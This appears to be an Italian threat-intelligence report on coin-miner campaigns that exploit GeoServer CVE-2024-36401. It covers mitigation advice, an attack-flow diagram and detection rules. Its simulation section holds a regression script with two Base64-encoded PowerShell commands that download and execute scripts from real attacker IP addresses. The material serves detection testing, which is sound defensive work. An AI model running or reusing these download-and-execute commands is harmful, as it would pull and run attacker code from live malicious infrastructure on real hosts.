GeoServer sotto attacco: campagne malware di Coin Miner
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Gli attori delle minacce stanno sfruttando la vulnerabilità di esecuzione remota del codice GeoServer CVE-2024-36401 per distribuire miner di criptovalute e NetCat su server non aggiornati. L’attività si basa su PowerShell, Bash e certutil per scaricare e lanciare XMRig da diversi domini e indirizzi IP dannosi. Vengono utilizzati diversi script downloader e droppers, solitamente confezionati in archivi ZIP e mantenuti come servizi tramite NSSM. L’obiettivo principale è sequestrare le risorse computazionali per il mining non autorizzato.
Indagine
Il rapporto delinea tre varianti (A, B, C) che utilizzano PowerShell codificato, fetcher basati su Bash e certutil per recuperare i payload dei miner da pool.supportxmr.com e molti sottodomini aaaaaaaaa.cyou. I meccanismi di consegna includono script batch, pacchetti ZIP e un downloader personalizzato chiamato systemd, insieme a credenziali di autenticazione HTTP Basic. Gli analisti hanno estratto indicatori chiave—URL, indirizzi IP e nomi di file—per supportare il rilevamento e la delimitazione.
Mitigazione
Applica patch GeoServer che affrontano CVE-2024-36401 e mantieni le distribuzioni sull’ultima versione supportata. Blocca le connessioni in uscita a pool di mining noti e infrastrutture correlate, e monitora l’esecuzione sospetta di PowerShell o Bash codificato. Limita l’uso di certutil per i contesti non amministrativi e applica l’elenco di consentiti delle applicazioni per prevenire servizi non autorizzati installati tramite NSSM.
Risposta
Implementa rilevamenti per le righe di comando osservate, hash e indicatori di rete. Metti in quarantena gli host interessati, eradica i servizi miner e gli artefatti di persistenza e esegui un controllo forense per qualsiasi payload secondario. Ruota le credenziali esposte e richiedi l’autenticazione multifattoriale per l’accesso amministrativo.
“graph TB %% Class definitions classDef action fill:#ffcc99 %% Action/Technique nodes classDef builtin fill:#e0e0e0 %% Tool and builtu2011in utility nodes classDef malware fill:#ff9999 %% Malware nodes %% Node definitions tech_initial_access[“<b>Tecnica</b> – <b>T1210 Sfruttamento di Servizi Remoti</b><br/>Descrizione: Sfruttare CVEu20112024u201136401 in GeoServer per eseguire codice da remoto”] class tech_initial_access action tool_geoserver[“<b>Strumento</b> – <b>Nome</b>: GeoServer<br/><b>Vulnerabilità</b>: CVEu20112024u201136401”] class tool_geoserver builtin tech_execution_ps[“<b>Tecnica</b> – <b>T1059.001 PowerShell</b><br/>Descrizione: Eseguire comandi PowerShell codificati per scaricare ed eseguire script dannosi”] class tech_execution_ps action tool_powershell[“<b>Strumento</b> – <b>Nome</b>: PowerShell”] class tool_powershell builtin tech_obfuscation[“<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscate</b><br/>Descrizione: Codificare in Base64 i carichi utili consegnati tramite certutil e Bash”] class tech_obfuscation action tool_certutil[“<b>Strumento</b> – <b>Nome</b>: certutil”] class tool_certutil builtin tool_bash[“<b>Strumento</b> – <b>Nome</b>: Bash”] class tool_bash builtin tech_deobfuscation[“<b>Tecnica</b> – <b>T1140 Deoffuscare/Decodificare File o Informazioni</b><br/>Descrizione: Decodificare carichi utili in Base64 sull’host prima dell’esecuzione”] class tech_deobfuscation action tech_defense_evasion[“<b>Tecnica</b> – <b>T1562 Compromettere Difese</b><br/>Descrizione: Disabilitare Windows Defender e aggiungere esclusioni di file/percorso”] class tech_defense_evasion action tool_windows_defender[“<b>Strumento</b> – <b>Nome</b>: Windows Defender”] class tool_windows_defender builtin tech_persistence[“<b>Tecnica</b> – <b>T1543.002 Creare o Modificare Processo di Sistema: Servizio Systemd</b><br/>Descrizione: Usare NSSM per installare XMRig come servizio persistente”] class tech_persistence action tool_nssm[“<b>Strumento</b> – <b>Nome</b>: NSSM (Nonu2011Sucking Service Manager)”] class tool_nssm builtin malware_xmrig[“<b>Malware</b> – <b>Nome</b>: XMRig<br/><b>Scopo</b>: Mining di criptovaluta”] class malware_xmrig malware tech_impact[“<b>Tecnica</b> – <b>T1496.001 Appropriazione delle Risorse di Calcolo</b><br/>Descrizione: Appropriarsi dei cicli della CPU per minare criptovaluta”] class tech_impact action tech_indirect_execution[“<b>Tecnica</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/>Descrizione: PowerShell avvia script aggiuntivi tramite Bash e Netcat”] class tech_indirect_execution action tool_netcat[“<b>Strumento</b> – <b>Nome</b>: Netcat”] class tool_netcat builtin %% Connections tool_geoserver u002du002d>|sfruttato per| tech_initial_access tech_initial_access u002du002d>|abilita| tech_execution_ps tech_execution_ps u002du002d>|usa| tool_powershell tech_execution_ps u002du002d>|scarica tramite| tool_certutil tech_execution_ps u002du002d>|invoca| tool_bash tech_execution_ps u002du002d>|invoca| tool_netcat tool_certutil u002du002d>|consegna carichi codificati per| tech_obfuscation tool_bash u002du002d>|esegue carichi codificati per| tech_obfuscation tech_obfuscation u002du002d>|richiede| tech_deobfuscation tech_deobfuscation u002du002d>|prepara l’ambiente per| tech_defense_evasion tech_defense_evasion u002du002d>|disabilita| tool_windows_defender tech_defense_evasion u002du002d>|conduce a| tech_persistence tech_persistence u002du002d>|usa| tool_nssm tool_nssm u002du002d>|installa| malware_xmrig malware_xmrig u002du002d>|esegue| tech_impact tech_execution_ps u002du002d>|attiva| tech_indirect_execution tech_indirect_execution u002du002d>|usa| tool_bash tech_indirect_execution u002du002d>|usa| tool_netcat tech_indirect_execution u002du002d>|facilita| malware_xmrig “
Flusso di Attacco
Rilevamenti
Disabilitazione delle Protezioni di Windows Defender (tramite registry_event)
Visualizza
Modifiche Sospette delle Preferenze di Windows Defender (tramite powershell)
Visualizza
Punti di Persistenza Possibili [ASEPs – Hive Software/NTUSER] (tramite registry_event)
Visualizza
Schtasks Punta a Directory / Binario / Script Sospetto (tramite cmdline)
Visualizza
File Sospetti nel Profilo Utente Pubblico (tramite file_event)
Visualizza
Download o Upload tramite Powershell (tramite cmdline)
Visualizza
IOC (SourceIP) per rilevare: Casi di Attacco del Coin Miner Malware che Targetizzano GeoServer
Visualizza
IOC (DestinationIP) per rilevare: Casi di Attacco del Coin Miner Malware che Targetizzano GeoServer
Visualizza
IOC (HashMd5) per rilevare: Casi di Attacco del Coin Miner Malware che Targetizzano GeoServer
Visualizza
Rileva l’Utilizzo di Certutil per il Download di Payload Malevoli Sfruttando le Vulnerabilità di GeoServer [Creazione Processo Windows]
Visualizza
Rileva Comandi PowerShell Codificati che Targetizzano le Vulnerabilità di GeoServer [Windows Powershell]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco & Comandi:
Un attaccante ha ottenuto un payload malevolo in Base64 che scarica un file di configurazione GeoServer vulnerabile, lo esegue e successivamente rilascia un miner di criptovaluta. Per eludere il rilevamento semplice del blocco script, l’attaccante utilizza l’opzione-enccon una stringa pre-codificata (uno dei due IOC noti). L’attaccante esegue il payload localmente su un host Windows compromesso, causando una creazione di processopowershell.exeche include esattamente la stringa Base64 su cui la regola sta vigilando. -
Script di Test di Regressione:
# ------------------------------------------------- # Script di regressione per attivare la regola Sigma # ------------------------------------------------- # Payload 1 (corrisponde al primo IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Payload 2 (corrisponde al secondo IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Comandi di Pulizia:
# ------------------------------------------------- # Pulizia – termina eventuali payload PowerShell residui # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force